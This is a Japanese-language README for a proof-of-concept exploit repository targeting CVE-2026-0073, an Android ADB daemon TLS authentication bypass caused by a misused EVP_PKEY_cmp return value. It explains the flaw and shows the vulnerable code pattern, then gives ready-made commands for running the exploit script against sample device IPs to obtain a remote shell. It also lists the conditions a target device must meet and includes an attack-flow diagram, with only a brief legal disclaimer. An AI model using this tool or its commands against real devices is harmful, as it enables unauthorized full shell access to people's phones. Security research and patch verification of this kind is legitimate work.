
CVE-2026-0073 — Android ADBデーモン(adbd)におけるEVP_PKEY_cmpの型混同を悪用したTLS認証バイパス。EC/Ed25519鍵の不一致を利用してWiFi経由で不正なシェルアクセスを取得する。Android 14以降向けのPoCエクスプロイト。
Android の ADB デーモン(adbd)における重大な認証バイパスにより、ローカルネットワーク上の任意の攻撃者が、ユーザーの承認なしに標的デバイス上で完全なシェルを取得できる。
この脆弱性は daemon/auth.cpp 内の adbd_tls_verify_cert() に存在し、EVP_PKEY_cmp() がブール値として使用されている。保存された鍵が RSA であり、提示された TLS クライアント証明書が 非 RSA 鍵(EC P-256 または Ed25519)を保持している場合、EVP_PKEY_cmp() は -1(型不一致)を返すが、これは C/C++ では**真(truthy)**と評価されるため、authorized = true となる。
// Vulnerable code pattern in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 is truthy!
authorized = true;
}
EVP_PKEY_cmp() の戻り値 | 意味 | C では真か? | 結果 |
|---|---|---|---|
1 | 鍵が一致 | ✅ | 認可 (正しい) |
0 | 鍵が異なる | ❌ | 拒否 (正しい) |
-1 | 型の不一致 | ✅ | 認可 (バグ) |
pip install cryptography
# Interactive shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# Single command execution
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Verbose mode (see full protocol trace)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
デフォルトでは、スクリプトは成功するまで EC P-256 → Ed25519 → EC/TLS 1.2 を自動的に順番に試行します。
Attacker Target (adbd)
│ │
│──── TCP connect ──────────────────►│
│──── CNXN (cleartext) ────────────►│
│◄─── STLS (TLS upgrade request) ──│
│──── STLS reply ──────────────────►│
│ │
│════ TLS 1.3 Handshake ════════════│
│ (EC P-256 client cert presented) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 is truthy → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (device info) ──────────│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (shell I/O) ──────►│
│ │
[FULL SHELL ACCESS] │
| 要件 | 詳細 |
|---|---|
| 開発者オプション | 対象デバイスで有効化されていること |
| ワイヤレスデバッグ | 有効化されていること(またはポート 5555 での TCP 経由の ADB) |
| 保存済み RSA キー | デバイスが少なくとも一度 USB ペアリングされている必要がある(/data/misc/adb/adb_keys) |
| ネットワークアクセス | 攻撃者が adbd の TCP ポートに到達できること |
⚠️ 重要: RSA キーは
/data/misc/adb/adb_keysに存在する必要があり、これは USB デバッグのペアリング(「USB デバッグを許可しますか?」ダイアログの承認)によって設定されます。ワイヤレスデバッグのペアリング(adb pair)はキーを別の場所(adb_known_hosts.pb)に保存するため、この要件を満たしません。
adb shell getprop ro.build.version.security_patch
以下で動作確認済みです:
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)
このフォークにはいくつかの拡張が含まれています:
select() の代わりにスレッド化 I/O を使用-v フラグによる詳細なプロトコルトレースCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Main exploit script
└── README.md # This file
このツールは許可されたセキュリティテストおよび教育目的のみに提供されています。コンピュータシステムへの不正アクセスは違法です。テストを行う前に必ず適切な許可を取得してください。作者は本ソフトウェアの悪用について一切の責任を負いません。
EVP_PKEY_cmp documentationこのツールがあなたの研究に役立ったなら、⭐ をお願いします